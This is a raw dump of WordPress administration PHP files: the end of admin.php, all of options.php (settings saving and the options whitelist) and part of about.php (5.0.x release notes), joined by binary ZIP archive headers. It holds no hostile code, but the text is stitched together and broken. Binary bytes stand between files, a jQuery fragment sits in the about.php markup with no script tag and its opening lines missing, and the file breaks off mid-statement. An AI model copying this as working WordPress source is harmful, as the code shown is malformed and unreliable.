		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;

/**
	 * Filters whether to attempt to perform the multisite DB upgrade routine.
	 *
	 * In single site, the user would be redirected to wp-admin/upgrade.php.
	 * In multisite, the DB upgrade routine is automatically fired, but only
	 * when this filter returns true.
	 *
	 * If the network is 50 sites or less, it will run every time. Otherwise,
	 * it will throttle itself to reduce load.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
	 */
	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . '/http.php' );
			$response = wp_remote_get( admin_url( 'upgrade.php?step=1' ), array( 'timeout' => 120, 'httpversion' => '1.1' ) );
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset($response);
		}
		unset($c);
	}
}

require_once(ABSPATH . 'wp-admin/includes/admin.php');

auth_redirect();

// Schedule trash collection
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() )
	wp_schedule_event(time(), 'daily', 'wp_scheduled_delete');

// Schedule Transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php
 * $wp_importers is sometimes set in wp-admin/includes/import.php
 * The remaining variables are imported as globals elsewhere, declared as globals here
 *
 * @global string $pagenow
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow
 * @global string $taxnow
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset($_GET['page']) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename($plugin_page);
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
	$typenow = $_REQUEST['post_type'];
else
	$typenow = '';

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) )
	$taxnow = $_REQUEST['taxonomy'];
else
	$taxnow = '';

if ( WP_NETWORK_ADMIN )
	require(ABSPATH . 'wp-admin/network/menu.php');
elseif ( WP_USER_ADMIN )
	require(ABSPATH . 'wp-admin/user/menu.php');
else
	require(ABSPATH . 'wp-admin/menu.php');

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset($plugin_page) ) {
	if ( !empty($typenow) )
		$the_parent = $pagenow . '?post_type=' . $typenow;
	else
		$the_parent = $pagenow;
	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);

// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
				$query_string = $_SERVER[ 'QUERY_STRING' ];
			else
				$query_string = 'page=' . $plugin_page;
			wp_redirect( admin_url('tools.php?' . $query_string) );
			exit;
		}
	}
	unset($the_parent);
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset($plugin_page) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" );
		if (! isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * @ignore
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

if ( !( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) && !( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") && is_file(WPMU_PLUGIN_DIR . "/$plugin_page") ) )
			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));

/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" );

if ( !isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

if ( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") )
			include(WPMU_PLUGIN_DIR . "/$plugin_page");
		else
			include(WP_PLUGIN_DIR . "/$plugin_page");
	}

include(ABSPATH . 'wp-admin/admin-footer.php');

exit();
} elseif ( isset( $_GET['import'] ) ) {

$importer = $_GET['import'];

if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
	}

if ( validate_file($importer) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" );

$parent_file = 'tools.php';
	$submenu_file = 'import.php';
	$title = __('Import');

if (! isset($_GET['noheader']))
		require_once(ABSPATH . 'wp-admin/admin-header.php');

require_once(ABSPATH . 'wp-admin/includes/upgrade.php');

define('WP_IMPORTING', true);

/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

call_user_func($wp_importers[$importer][2]);

include(ABSPATH . 'wp-admin/admin-footer.php');

// Make sure rules are flushed
	flush_rewrite_rules(false);

exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current page, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" );

/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( $typenow == 'page' ) {
		if ( $pagenow == 'post-new.php' )
			do_action( 'load-page-new.php' );
		elseif ( $pagenow == 'post.php' )
			do_action( 'load-page.php' );
	}  elseif ( $pagenow == 'edit-tags.php' ) {
		if ( $taxnow == 'category' )
			do_action( 'load-categories.php' );
		elseif ( $taxnow == 'link_category' )
			do_action( 'load-edit-link-categories.php' );
	} elseif( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' );
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
	 * refers to the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( 'admin_action_' . $_REQUEST['action'] );
}
PK�������!����[�-���-����options.phpnu��[�����������<?php
/**
 * Options Management Administration Screen.
 *
 * If accessed directly in a browser this page shows a list of all saved options
 * along with editable fields for their values. Serialized data is not supported
 * and there is no way to remove options via this page. It is not linked to from
 * anywhere else in the admin.
 *
 * This file is also the target of the forms in core and custom options pages
 * that use the Settings API. In this case it saves the new option values
 * and returns the user to their page of origin.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

$title = __('Settings');
$this_file = 'options.php';
$parent_file = 'options-general.php';

wp_reset_vars(array('action', 'option_page'));

$capability = 'manage_options';

// This is for back compat and will eventually be removed.
if ( empty($option_page) ) {
	$option_page = 'options';
} else {

/**
	 * Filters the capability required when using the Settings API.
	 *
	 * By default, the options groups for all registered settings require the manage_options capability.
	 * This filter is required to change the capability required for a certain options page.
	 *
	 * @since 3.2.0
	 *
	 * @param string $capability The capability used for the page, which is manage_options by default.
	 */
	$capability = apply_filters( "option_page_capability_{$option_page}", $capability );
}

if ( ! current_user_can( $capability ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to manage these options.' ) . '</p>',
		403
	);
}

// Handle admin email change requests
if ( ! empty( $_GET[ 'adminhash' ] ) ) {
	$new_admin_details = get_option( 'adminhash' );
	$redirect = 'options-general.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details[ 'hash' ], $_GET[ 'adminhash' ] ) && ! empty( $new_admin_details[ 'newemail' ] ) ) {
		update_option( 'admin_email', $new_admin_details[ 'newemail' ] );
		delete_option( 'adminhash' );
		delete_option( 'new_admin_email' );
		$redirect = 'options-general.php?updated=true';
	}
	wp_redirect( admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_admin_email' == $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss-' . get_current_blog_id() . '-new_admin_email' );
	delete_option( 'adminhash' );
	delete_option( 'new_admin_email' );
	wp_redirect( admin_url( 'options-general.php?updated=true' ) );
	exit;
}

if ( is_multisite() && ! current_user_can( 'manage_network_options' ) && 'update' != $action ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>',
		403
	);
}

$whitelist_options = array(
	'general' => array(
		'blogname',
		'blogdescription',
		'gmt_offset',
		'date_format',
		'time_format',
		'start_of_week',
		'timezone_string',
		'WPLANG',
		'new_admin_email',
	),
	'discussion' => array(
		'default_pingback_flag',
		'default_ping_status',
		'default_comment_status',
		'comments_notify',
		'moderation_notify',
		'comment_moderation',
		'require_name_email',
		'comment_whitelist',
		'comment_max_links',
		'moderation_keys',
		'blacklist_keys',
		'show_avatars',
		'avatar_rating',
		'avatar_default',
		'close_comments_for_old_posts',
		'close_comments_days_old',
		'thread_comments',
		'thread_comments_depth',
		'page_comments',
		'comments_per_page',
		'default_comments_page',
		'comment_order',
		'comment_registration',
		'show_comments_cookies_opt_in',
	),
	'media' => array(
		'thumbnail_size_w',
		'thumbnail_size_h',
		'thumbnail_crop',
		'medium_size_w',
		'medium_size_h',
		'large_size_w',
		'large_size_h',
		'image_default_size',
		'image_default_align',
		'image_default_link_type',
	),
	'reading' => array(
		'posts_per_page',
		'posts_per_rss',
		'rss_use_excerpt',
		'show_on_front',
		'page_on_front',
		'page_for_posts',
		'blog_public',
	),
	'writing' => array(
		'default_category',
		'default_email_category',
		'default_link_category',
		'default_post_format',
	),
);
$whitelist_options['misc'] = $whitelist_options['options'] = $whitelist_options['privacy'] = array();

$mail_options = array('mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass');

if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) )
	$whitelist_options['reading'][] = 'blog_charset';

if ( get_site_option( 'initial_db_version' ) < 32453 ) {
	$whitelist_options['writing'][] = 'use_smilies';
	$whitelist_options['writing'][] = 'use_balanceTags';
}

if ( !is_multisite() ) {
	if ( !defined( 'WP_SITEURL' ) )
		$whitelist_options['general'][] = 'siteurl';
	if ( !defined( 'WP_HOME' ) )
		$whitelist_options['general'][] = 'home';

$whitelist_options['general'][] = 'users_can_register';
	$whitelist_options['general'][] = 'default_role';

$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
	$whitelist_options['writing'][] = 'ping_sites';

$whitelist_options['media'][] = 'uploads_use_yearmonth_folders';

// If upload_url_path and upload_path are both default values, they're locked.
	if ( get_option( 'upload_url_path' ) || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) {
		$whitelist_options['media'][] = 'upload_path';
		$whitelist_options['media'][] = 'upload_url_path';
	}
} else {
	/**
	 * Filters whether the post-by-email functionality is enabled.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $enabled Whether post-by-email configuration is enabled. Default true.
	 */
	if ( apply_filters( 'enable_post_by_email_configuration', true ) )
		$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
}

/**
 * Filters the options white list.
 *
 * @since 2.7.0
 *
 * @param array $whitelist_options White list options.
 */
$whitelist_options = apply_filters( 'whitelist_options', $whitelist_options );

/*
 * If $_GET['action'] == 'update' we are saving settings sent from a settings page
 */
if ( 'update' == $action ) {
	if ( 'options' == $option_page && !isset( $_POST['option_page'] ) ) { // This is for back compat and will eventually be removed.
		$unregistered = true;
		check_admin_referer( 'update-options' );
	} else {
		$unregistered = false;
		check_admin_referer( $option_page . '-options' );
	}

if ( !isset( $whitelist_options[ $option_page ] ) )
		wp_die( __( '<strong>ERROR</strong>: options page not found.' ) );

if ( 'options' == $option_page ) {
		if ( is_multisite() && ! current_user_can( 'manage_network_options' ) ) {
			wp_die( __( 'Sorry, you are not allowed to modify unregistered settings for this site.' ) );
		}
		$options = explode( ',', wp_unslash( $_POST[ 'page_options' ] ) );
	} else {
		$options = $whitelist_options[ $option_page ];
	}

if ( 'general' == $option_page ) {
		// Handle custom date/time formats.
		if ( !empty($_POST['date_format']) && isset($_POST['date_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['date_format'] ) )
			$_POST['date_format'] = $_POST['date_format_custom'];
		if ( !empty($_POST['time_format']) && isset($_POST['time_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['time_format'] ) )
			$_POST['time_format'] = $_POST['time_format_custom'];
		// Map UTC+- timezones to gmt_offsets and set timezone_string to empty.
		if ( !empty($_POST['timezone_string']) && preg_match('/^UTC[+-]/', $_POST['timezone_string']) ) {
			$_POST['gmt_offset'] = $_POST['timezone_string'];
			$_POST['gmt_offset'] = preg_replace('/UTC\+?/', '', $_POST['gmt_offset']);
			$_POST['timezone_string'] = '';
		}

// Handle translation installation.
		if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) ) {
			require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );

if ( wp_can_install_language_pack() ) {
				$language = wp_download_language_pack( $_POST['WPLANG'] );
				if ( $language ) {
					$_POST['WPLANG'] = $language;
				}
			}
		}
	}

if ( $options ) {
		$user_language_old = get_user_locale();

foreach ( $options as $option ) {
			if ( $unregistered ) {
				_deprecated_argument( 'options.php', '2.7.0',
					sprintf(
						/* translators: %s: the option/setting */
						__( 'The %s setting is unregistered. Unregistered settings are deprecated. See https://codex.wordpress.org/Settings_API' ),
						'<code>' . $option . '</code>'
					)
				);
			}

$option = trim( $option );
			$value = null;
			if ( isset( $_POST[ $option ] ) ) {
				$value = $_POST[ $option ];
				if ( ! is_array( $value ) ) {
					$value = trim( $value );
				}
				$value = wp_unslash( $value );
			}
			update_option( $option, $value );
		}

/*
		 * Switch translation in case WPLANG was changed.
		 * The global $locale is used in get_locale() which is
		 * used as a fallback in get_user_locale().
		 */
		unset( $GLOBALS['locale'] );
		$user_language_new = get_user_locale();
		if ( $user_language_old !== $user_language_new  ) {
			load_default_textdomain( $user_language_new );
		}
	}

/**
	 * Handle settings errors and return to options page
	 */
	// If no settings errors were registered add a general 'updated' message.
	if ( !count( get_settings_errors() ) )
		add_settings_error('general', 'settings_updated', __('Settings saved.'), 'updated');
	set_transient('settings_errors', get_settings_errors(), 30);

/**
	 * Redirect back to the settings page that was submitted
	 */
	$goback = add_query_arg( 'settings-updated', 'true',  wp_get_referer() );
	wp_redirect( $goback );
	exit;
}

include( ABSPATH . 'wp-admin/admin-header.php' ); ?>

<div class="wrap">
  <h1><?php esc_html_e( 'All Settings' ); ?></h1>
  <form name="form" action="options.php" method="post" id="all-options">
  <?php wp_nonce_field('options-options') ?>
  <input type="hidden" name="action" value="update" />
  <input type="hidden" name="option_page" value="options" />
  <table class="form-table">
<?php
$options = $wpdb->get_results( "SELECT * FROM $wpdb->options ORDER BY option_name" );

foreach ( (array) $options as $option ) :
	$disabled = false;
	if ( $option->option_name == '' )
		continue;
	if ( is_serialized( $option->option_value ) ) {
		if ( is_serialized_string( $option->option_value ) ) {
			// This is a serialized string, so we should display it.
			$value = maybe_unserialize( $option->option_value );
			$options_to_update[] = $option->option_name;
			$class = 'all-options';
		} else {
			$value = 'SERIALIZED DATA';
			$disabled = true;
			$class = 'all-options disabled';
		}
	} else {
		$value = $option->option_value;
		$options_to_update[] = $option->option_name;
		$class = 'all-options';
	}
	$name = esc_attr( $option->option_name );
	?>
<tr>
	<th scope="row"><label for="<?php echo $name ?>"><?php echo esc_html( $option->option_name ); ?></label></th>
<td>
<?php if ( strpos( $value, "\n" ) !== false ) : ?>
	<textarea class="<?php echo $class ?>" name="<?php echo $name ?>" id="<?php echo $name ?>" cols="30" rows="5"><?php
		echo esc_textarea( $value );
	?></textarea>
	<?php else: ?>
		<input class="regular-text <?php echo $class ?>" type="text" name="<?php echo $name ?>" id="<?php echo $name ?>" value="<?php echo esc_attr( $value ) ?>"<?php disabled( $disabled, true ) ?> />
	<?php endif ?></td>
</tr>
<?php endforeach; ?>
  </table>

<?php submit_button( __( 'Save Changes' ), 'primary', 'Update' ); ?>

</form>
</div>

<?php
include( ABSPATH . 'wp-admin/admin-footer.php' );
PK�������!�M��.?���?���	��about.phpnu��[�����������<?php
/**
 * About This Version administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

wp_enqueue_script( 'underscore' );

/* translators: Page title of the About WordPress page in the admin. */
$title = _x( 'About', 'page title' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

wp_enqueue_style( 'wp-block-library' );

include( ABSPATH . 'wp-admin/admin-header.php' );
?>
	<div class="wrap about-wrap full-width-layout">
		<h1><?php printf( __( 'Welcome to WordPress&nbsp;%s' ), $display_version ); ?></h1>

<?php if (
			// Was the Gutenberg plugin installed before upgrading to 5.0.x?
			get_option( 'upgrade_500_was_gutenberg_active' ) == '1'  &&
			current_user_can( 'activate_plugins' ) &&
			// Has it not been reactivated since?
			is_plugin_inactive( 'gutenberg/gutenberg.php' ) &&
			// Is it still installed?
			file_exists( WP_PLUGIN_DIR . '/gutenberg/gutenberg.php' )
		) : ?>
			<div class="about-text" style="font-style:italic;">
				<?php
				printf(
					/* translators: 1: WordPress version, 2: HTML start tag of link, 3: HTML end tag of link */
					__( 'The Gutenberg plugin has been deactivated, as the features are now included in WordPress %1$s by default. If you&#8217;d like to continue to test the upcoming changes in the WordPress editing experience, please %2$sreactivate the Gutenberg plugin%3$s.' ),
					$display_version,
					'<a href="' . esc_url( self_admin_url( 'plugins.php?s=gutenberg&plugin_status=all' ) ) . '">',
					'</a>'
				);
				?>
			</div>
		<?php elseif ( ! file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) : ?>
			<p class="about-text">
				&#x2139; <a href="#classic-editor"><?php _e( 'Learn how to keep using the old editor.' ); ?></a>
			</p>
		<?php endif; ?>

<div class="changelog point-releases">
			<h3><?php _e( 'Maintenance and Security Releases' ); ?></h3>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.14'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.14' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed one security issue.' ),
					'5.0.13'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.13' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.12'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.12' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.11'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.11' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.10'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.10' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.9'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.9' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.8'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.8' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.7'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.7' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.6'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.6' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: %s: WordPress version number */
					__( '<strong>Version %s</strong> addressed some security issues.' ),
					'5.0.4'
				);
				?>
				<?php
				printf(
					/* translators: %s: HelpHub URL */
					__( 'For more information, see <a href="%s">the release notes</a>.' ),
					sprintf(
						/* translators: %s: WordPress version */
						esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
						sanitize_title( '5.0.4' )
					)
				);
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: 1: WordPress version number, 2: plural number of bugs. */
					_n(
						'<strong>Version %1$s</strong> addressed %2$s bug.',
						'<strong>Version %1$s</strong> addressed %2$s bugs.',
						44
					),
					'5.0.3',
					number_format_i18n( 44 )
				);
				?>
				<?php
				/* translators: %s: Codex URL */
				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.3' );
				?>
			</p>
			<p>
				<?php
				printf(
					/* translators: 1: WordPress version number, 2: plural number of bugs. */
					_n(
						'<strong>Version %1$s</strong> addressed %2$s bug.',
						'<strong>Version %1$s</strong> addressed %2$s bugs.',
						73
					),
					'5.0.2',
					number_format_i18n( 73 )
				);
				?>
				<?php
				/* translators: %s: Codex URL */
				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.2' );
				?>
			</p>
			<p>
				<?php
				/* translators: %s: WordPress version number */
				printf( __( '<strong>Version %s</strong> addressed some security issues.' ), '5.0.1' );
				?>
				<?php
				/* translators: %s: Codex URL */
				printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_5.0.1' );
				?>
			</p>
		</div>

<?php if ( current_user_can( 'edit_posts' ) ) { ?>
			<div class="feature-section one-col cta">
				<div class="col">
					<a class="button button-primary button-hero" href="<?php echo esc_url( admin_url( 'post-new.php' ) ); ?>"><?php _e( 'Build your first post' ); ?></a>
				</div>
			</div>
		<?php } ?>

<hr />

<?php if ( current_user_can( 'customize' ) ) { ?>
			<div class="feature-section one-col cta">
				<div class="col">
					<a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo esc_url( admin_url( 'customize.php?theme=twentynineteen' ) ); ?>"><?php _e( 'Give Twenty Nineteen a try' ); ?></a>
				</div>
			</div>
		<?php } ?>

<hr />

<hr />

<?php if ( ! file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) : ?>
			<div class="feature-section one-col" id="classic-editor">
				<div class="col">
					<h2><?php _e( 'Keep it Classic' ); ?></h2>
				</div>
			</div>

// Account for Admin bar.
				if ( $adminbar.length ) {
					offset += $adminbar.height();
				}

var adjustScrollPosition = _.throttle( function adjustScrollPosition() {
					$sections.each( function( i, section ) {
						var $section = $( section );
						var $header = $section.find( 'h2' );
						var width = $header.innerWidth();
						var height = $header.innerHeight();

if ( $section.hasClass( 'has-long-title' ) ) {
							return;
						}

var sectionStart = $section.offset().top - offset;
						var sectionEnd = sectionStart + $section.innerHeight();
						var scrollPos = $window.scrollTop();

// If we're scrolled into a section, stick the header
						if ( scrollPos >= sectionStart && scrollPos < sectionEnd - height ) {
							$header.css( {
								position: 'fixed',
								top: offset + 'px',
								bottom: 'auto',
								width: width + 'px'
							} );
						// If we're at the end of the section, stick the header to the bottom
						} else if ( scrollPos >= sectionEnd - height && scrollPos < sectionEnd ) {
							$header.css( {
								position: 'absolute',
								top: 'auto',
								bottom: 0,
								width: width + 'px'
							} );
						// Unstick the header
						} else {
							$header.css( {
								position: 'static',
								top: 'auto',
								bottom: 'auto',
								width: 'auto'
							} );
						}
					} );
				}, 100 );

<?php

include( ABSPATH . 'wp-admin/admin-footer.php' );

// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
return;

__( 'Maintenance Release' );
__( 'Maintenance Releases' );

__( 'Security Release' );
__( 'Security Releases' );

__( 'Maintenance and Security Release' );
__( 'Maintenance and Security Releases' );

/* translators: %s: WordPress version number */
__( '<strong>Version %s</strong> addressed one security issue.' );
/* translators: %s: WordPress version number */
__( '<strong>Version %s</strong> addressed some security issues.' );

/* translators: 1: WordPress version number, 2: plural number of bugs. */
_n_noop( '<strong>Version %1$s</strong> addressed %2$s bug.',
         '<strong>Version %1$s</strong> addressed %2$s bugs.' );

/* translators: 1: WordPress version number, 2: plural number of bugs. Singular security issue. */
_n_noop( '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
         '<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.' );

/* translators: 1: WordPress version number, 2: plural number of bugs. More than one security issue. */
_n_noop( '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
